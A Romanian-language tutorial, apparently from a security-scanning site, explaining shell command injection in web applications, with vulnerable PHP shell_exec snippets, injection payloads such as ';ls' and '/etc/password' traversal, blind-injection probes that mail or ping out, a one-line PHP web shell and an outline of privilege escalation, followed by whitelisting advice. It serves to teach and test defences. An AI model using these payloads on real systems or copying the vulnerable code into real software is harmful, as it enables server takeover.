Shell Injection, cunoscut si sub numele de Comand Injection (termenii sunt interschimbabili in acest caz), chiar daca nu se vorbeste prea des despre ea si nici nu este o vulnerabilitate prea des descoperita , este fara doar si poate una dintre cele mai critice.
Cuprins
Adesea, site-urile web trebuie sa se foloseasca de programele si bibliotecile de baza, pentru completarea unor functionalitati. Aceasta ar putea fi la fel de simplu ca si trimiterea unui e-mail, folosind programul Unix sendmail sau complicat ca si rularea programelor customizate Perl si C++. Din punct de vedere al dezvoltarii, acesta este un mod foarte bun pentru a reduce timpul de dezvoltare al unui site. In unele cazuri, daca datele sunt trecute prin aceste programe/biblioteci, sau printr-o interfata de utilizator, atunci un atacator ar putea incerca sa injecteze comenzi Shell in aceste programe backend, existand posibilitatea de a le compromite.
Pentru a intelege cum functioneaza majoritatea injectiilor Shell, imaginati-va un caz simplu. Sa presupunem ca este nevoie de un script customizat, pentru afisarea continutului unui fisier pe ecranul utilizatorului, dar echipa de dezvoltare nu vrea sa-si piarda timpul scriind o procedura pentru citirea fisierelor. Astfel, ei decid sa permita utilizatorilor sa specifice un fisier, dupa care sa foloseasca comanda Unix „cat” pentru afisarea rezultatelor la terminal. Codul pentru obtinerea acestora, poate arata astfel in PHP:
<?php echo shell_exec('cat '.$_GET['filename']); ?>
Totul in regula pana aici. Acum, scriptul poate fi apelat cu diferiti parametrii (GET) pentru afisarea diferitelor fisiere catre utilizatori. Daca adaugam fisiere noi in director, site-ul stie automat cum sa le citeasca si sa le afiseze indiferent de rezultat. Putem vedea acest lucru cu un simplu exemplu pentru a intelege cum ar trebui sa functioneze programul. Sa presupunem ca avem un fisier in acelasi director, pe care utilizatorul ar dori sa-l afiseze. Sa-l numim „my_great_content.txt”. Contine text de testare ca urmatorul:
This is my content. It should be visible. Unfortunately, it leads to command injection…
Un utilizator, apeleaza urmatorul URL:
www.mysite.com/viewcontent.php?filename=my_great_content.txt
Pagina PHP, va arata utilizatorilor continutul, exact cum trebuie. Pentru majoritatea utilizatorilor, pagina functioneaza cum trebuie si echipa de dezvoltare a trebui sa scrie doar o linie de cod. Din pacate, dupa cum banuiti, codul nu este securizat si este vulnerabil unui atac Shell command injection. Daca atacatorul isi propune, el poate adauga „;” si o alta comanda Unix in locul numelui fisierului specificat in parametrul URL. Sa presupunem ca atacatorul vrea sa inceapa prin listarea fisierelor din director.
www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls
Aceasta comanda va afisa continutul fisierului my_great_content.txt , insa din moment ce am injectat comanda (ls), executia nu se incheie dupa afisarea continutului fisierului. Linia de comanda continua sa execute urmatoarea comanda si afiseaza anumite informatii speciale:
This is my content. It should be visible. Unfortunately, it leads to command injection... my_great_content.txt viewcontent.php
Acest cod ofera de fapt numeroase oportunitati pentru un atacator, inclusiv directory traversals. Ca si exemplu rapid, daca se lanseaza o comanda de genul ../../etc/password, am obtine ca si rezultat ca urmare a procesarii comenzii cat o lista cu toti utilizatorii inregistrati pe server. Chiar daca shell injection ar fi prevenita prin limitatea intrarilor in functia cat, aceasta problema tot ar trebui luata in considerare.
In sectiunea precedenta, am vazut un exemplu de functionare a Command Injection care ar putea sa functioneze. In aceasta sectiune, vom vorbi despre tipurile de Command Injection si modul in care acestea pot fi executate. Presupunând ca o analiza a gasit o functie intr-un site web care este probabil sa fie vulnerabila la Shell Injection (vezi sectiunea privind testarea pentru Shell Injection) sunt o multime de moduri in care se pot injecta comenzi ( Command Injection).
Sa presupunem spre exemplu, ca ati gasit o pagina cu vulnerabilitatea din exemplele anterioare, care ia ca argument un nume de fisier de intrare si executa comanda shell „cat” pentru a afisa la consola continutul acelui fisier. In exemplul anterior, am folosit o virgula pentru a separa o comanda de cealalta si pentru a indica faptul ca dupa ce comanda cat s-a finalizat, o alta functie ar trebui sa fie rulata in aceeasi linie. Este rezonabil sa presupunem ca un dezvoltator mai avansat ar putea elimina unele forme de shell injection, prin eliminarea folosirii (;) punct si virgula, facând atacul anterior ineficient. Exista diferite moduri de punere laolalta de comenzi shell, care puse impreuna creaza o noua comanda. Mai jos, sunt cei mai comuni operatorii pe care ii puteti utiliza, precum si exemple cu modul in care acestia ar putea fi utilizati intr-un atac:
Operatoti de redirectare
Exemplu: <, >>, >
Acesti operatori redirectioneaza fie intrarile, fie iesirile in alta zona pe server. Folosirea „<” va face ca tot ce urmeaza dupa semn, sa fie intrare standard. Inlocuirea numelui fisierului cu “< filename” nu se va schimba rezultatul afisarii, dar ar putea fi utilizat pentru a evita unele filtre.Operatorul „>” poate fi folosit pentru a modifica fisiere pe server, sau pentru a crea altele noi. Combinat cu comanda cat, ar putea fi usor de utilizat pentru a adauga utilizatori UNIX in sistem, sau pentru a sterge site-ul web. In cele din urma, „>>” adauga text unui fisier si poate fi folosit pentru a evita unele sisteme de detectie simpliste.
Pipe
Exemplu: |
Pipele dau posibilitatea unui utilizator sa combine mai multe comenzi. Va redirectiona rezultatul unei comenzi in ca intrare pentru urmatoarea. Poti rula un numar infinit de comenzi, prin combinarea acestora cu ajutorul pipelor, cum ar fi spre exemplu cat file1 | grep “string”
Comenzi Inline
Exemplu: ;, $
Acesta este un exemplu. Adaugarea semnului punct si virgula solicita comenzii sa execute orice inainte de punct si virgula, si apoi sa execute restul ca si cand ar fi o linie noua de comanda.
Operatoti logici
Exemplu: $, &&,||
Acesti operatori opereaza anumite operatiuni logice cu datele, inainte si dupa folosirea lor in linia de comanda.
Sabloane si rezultate comune ale operatiunii Injection
Mai jos, sunt prezentate cele comune sabloane Shell Injection (cele de mai jos se folosesc impreuna cu anumite siruri de intrare)
Aceste exemple sunt numai o mica parte din posibilele comenzi “Shell Injection”. Intregul spectru de posibilitati de atac este dependent de apelul unor functii din biblioteca de baza. De exemplu, daca o functie de baza foloseste un program shell, cum ar fi spre exemplu awk, si mai multe posibilitati de atac apar, in afara celor prezentate aici.
Command Injection poate fi mult mai subtila decât gasirea de aplicatii care acceseaza in mod direct functiile sistemului de operare. Daca este posibil, sa injectezi un cod (cum ar fi un cod PHP), atunci se pot efectua, de exemplu, Command Injections. Sa presupunem ca ai gasit o aplicatie cu o vulnerabilitate PUT pe un site care are PHP. Un atacator ar putea incarca pur si simplu un fisier script PHP cu o singura linie de cod, pentru a avea acces la un shell:
<?php echo shell_exec('cat '.$_GET['command']); ?>
Astfel, trebuie remarcat faptul, ca mai multe tipuri de atacuri, inclusiv SQL Injection, au ca si obiectiv principal Command Injection pentru a castiga controlul asupra serverului.
Primul pas in identificarea vulnerabilitatilor Command Injection, este de a parcurge site-ul. Odata ce aveti o serie de pagini identificate, pentru a testa Command Injection pe ele , sau in cazul in care banuiti ca un site web poate accesa direct o functie a sistemului de operare, exista câteva teste simple pe care le poti efectua pentru a obtine observa daca exista o vulnerabilitate Command Injection.
In functie de sistemul de operare, comenzile poti fi diferite. Atat pentru Unix cat si pentru Windows, prin adaugarea unui punct si virgula unor anumite intrari de date, printr-o simpla comanda de baza:
(Windows) <normal_input>; dir c: (Unix) <normal_input>; ls
Daca site-ul afiseaza mesaje de eroare, altele decât mesaje de caracter nevalid, atunci un Shell Injection este foarte posibil sa existe. Exista anumite mesaje de eroare, care sunt cele mai probabile, daca primiti mesaje de eroare cu privire la datele de intrare care nu au fost formatate corect in comanda, cum ar fi : fisierul nu a fost gasit, atunci când specifica un fisier pentru a fi citit, atunci va trebui sa modificati comanda in consecinta, adaugand ghilimele, spre exemplu.
Luati in considerare din nou primul exemplu in care site-ul ruleaza comanda de sistem ‘cat’ pentru a citi un fisier, si vom testa posibilitatea de a crea un string injection:
<?php //sending the input directly. Attack with a string like file.txt;ls echo shell_exec('cat '.$_GET['command']); ?> <?php //input is placed in quotes. You must end the quotes to execute an injection. //Craft an attack with a string like file.txt";ls echo shell_exec('cat "'.$_GET['command']).'"'; ?>
Testarea pentru Blind Command Injection
Uneori site-ul nu va returna orice mesaj de eroare catre display. In acest caz, testele pentru Command Injection trebuiesc contruite in asa fel incat sa nu depinda de afisarea rezultatului. Comenzile comune includ comanda unix “mail”, sau un ping catre o anumita adresa IP pentru a verifica daca functioneaza. Puteti de asemenea sa incercati sa scrieti fisiere de test in directorul web si sa verificati daca au fost create, cu toate ca metoda este mai putin folosita. Cateva exemple simple de blind command injection pe Unix, din nou presupunand ca site-ul asteapta un fisier text drept date introduse de utilizator:
file.txt;mail [email protected] < file.txt //send an email to yourself file.txt;ping www.test.com //ping a webserver you have control of file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.
In fiecare caz, ia in calcul ca o parte din datele introduse sunt blacklisted de site. In cazul in care testele de baza Command Injection nu returneaza nici un rezultat, incercati encodarea caracterelor comune. Scheme comune de codare includ activarea JavaScript-UUencode, codare HTML in browser, sau diverse codificari Unicode.
Shell Injection este, in general, considerat ca fiind una una dintre cele mai periculoase vulnerabilitati, deoarece poate fi utilizata pentru a obtine controlul complet asupra unui server. Desi securizarea serverului si a sistemului de operare poate ajuta la limitarea impactului si face mai greu pentru un atacator sa modifice privilegii, exista in continuare un risc semnificativ. Modificarea privilegiilor foloseste, de obicei, urmatoarea schema:
1. Gasirea vulnerabilitatilor Shell Injection. Folosirea vulnerabilitatilor pentru a obtine acces shell prin crearea unui script shell personalizat accesibil de catre atacator. Acesta poate avea diferite forme, in general o simpla pagina PHP dedicata care serveste ca si Shell. Implicit acest shell va avea acelasi acces ca si utilizatorul care ruleza serverul web, de obicei Apache sau IIS.
2. Odata ce este stabilit accesul la shell, atacatorul poate monitoriza procesele pentru perspective suplimentare de atac. Un obiectiv bun ar putea fi o conexiune de utilizator la baza de date, care permite atacuri SQL Injection direct in baza de date, si poate permite atacatorului sa preia controlul ca si utilizator al bazei de date, de asemenea, poate folosi SQL Injection pentru a crea fisiere `setuid` cu proprietar chiar proprietarul bazei de date, cu privilegii globale de citire.
3. Din acest punct, este o chestiune care tine de atacator in a gasi alte vulnerabilitati pe server si a le exploata pentru a obtine privilegii suplimentare. Daca acest lucru inseamna gasirea `setuid` neprotejat penru root sau exploatarea bug-urilor software-ul cunoscute, este doar o chestiune de timp pana atacatorul are control complet al sistemului.
Testarea impotriva Shell injection este doar o parte din suita mai mare de teste automatizate, incluziv cel pus la dispozitie de site-ul nostru. Scannerele automatizate existente incearca o anumite varietate de atacuri Shell Injection ce nu afecteaza sistemul, cautand mesaje de eroare problematice sau un comportament deosebit al site-ului.
Pentru automatizarea acestui tip de teste fara a folosi un anumit program, metodologia este urmatoarea:
1. Compune o lista cu toate paginile si varietatea de modalitati prin care pot fi introduse date in site.
2. Pentru fiecare punct de introducere al datelor, incearca atacul de baza Shell Injection, cum ar fi adaugarea ; ls la o introducere de date normala.
3. Examineaza raspunsul serverului atunci cand se introduc date normal, comparativ cu situatia in care se introduc date injectate.
4. Daca site-ul returneaza mesaje de eroare sau diferite raspunsuri, ar putea avea o vulnerabilitate Shell Injection.
5. Repetati pasii 2-4 cu diferite Injectii, comenzi si scheme de encodare.
Implementarea unui scanner propriu automatizat pentru comenzi shell injection nu este cea mai buna solutie. Este mult mai util sa folosesti aplicatii open source existente si sa cauti modalitati de a imbunatati capacitatea lor de control, decât sa pornesti de la zero.
Cele mai comune locuri pentru a gasi vulnerabilitati shell injection este in zona si momentul incarcarii de fisiere si in codul web non-nativ ce ruleaza, cum ar fi Perl. Daca un site afiseaza ca citeste fisiere de pe disc, este posibil ca acesta sa nu foloseasca librariile corespunzatoarea, in schimb bazandu-se pe comenzi simple OS pentru a obtine rezultatul. Aplicatii de incarcare de fisiere sunt locuri foarte bune pentru a verifica Shell Injection. Cel de-al 2-lea loc comun este atunci când site-ul utilizeaza un limbaj non web, cum ar fi Perl pentru a executa unele functii. In cazul in care sunt gasite pe site scripturi Perl care pot fi utilizate, exista multe atacuri care pot fi folosite pentru a injecta comenzi suplimentare in timp ce fisierul Perl este utilizat.
Probabil cel mai comun loc dintre toate este atacul indirect Shell Injection, atunci cand aplicatia evalueaza codul direct, cum ar fi functia PHP eval. Daca utilizatorul detine orice tip de acces asupra datelor ce sunt introduse in functia eval, acesta poate fi folosit ca si vector pentru a executa cod shell, din moment ce PHP are capabilitati de a rula functii de sistem. Astfel, o analiza a site-urilor web implica intelegerea scripturilor folosite si analiza punctelor de introducere ale datelor, acolo unde un atac ar putea avea loc.
In ciuda a nenumaratelor moduri descrise mai sus pentru atacurile Shell Injection, acestea pot fi prevenite prin parcurgerea câtorva pasi simpli. Unul dintre cei mai importanti este aceala de a securiza cu atentie toate datele introduse de utilizator. Daca se poate evita transmiterea din partea utilizatorilor a unor argumente catre sistemului de operare, ar trebui sa se ia serios in considerare acest lucru. Alternativ, asigurati-va ca ati eliminat toate sintaxele potential daunatoare, cum ar fi punct si virgula, sau alte elemente de separare, care pot fi utilizate pentru a rula comenzi suplimentare. In Unix, acestea includ pipe (|), si ampersand (&). Cel mai bun mod de a realiza acest lucru este procedura white listing-ului. Pentru exemple de nume de fisier, vezi exemplul de mai sus, trebuie sa se mentina o lista de fisiere acceptate in white list, si trebuie verificat ca datele de intrare corespund cu o intrare din aceasta lista. Orice altceva trebuie sa fie respins ca si o operatiune nesigura.
Command Injection Overview
Example of command injection in action (Hacking practice)
HackerAdvisor.com include in procesul de scanare, diferite setari de test, care te vor ajuta sa reduci expunerea site-ului la atacuri, inclusiv atacurile Shell Injection.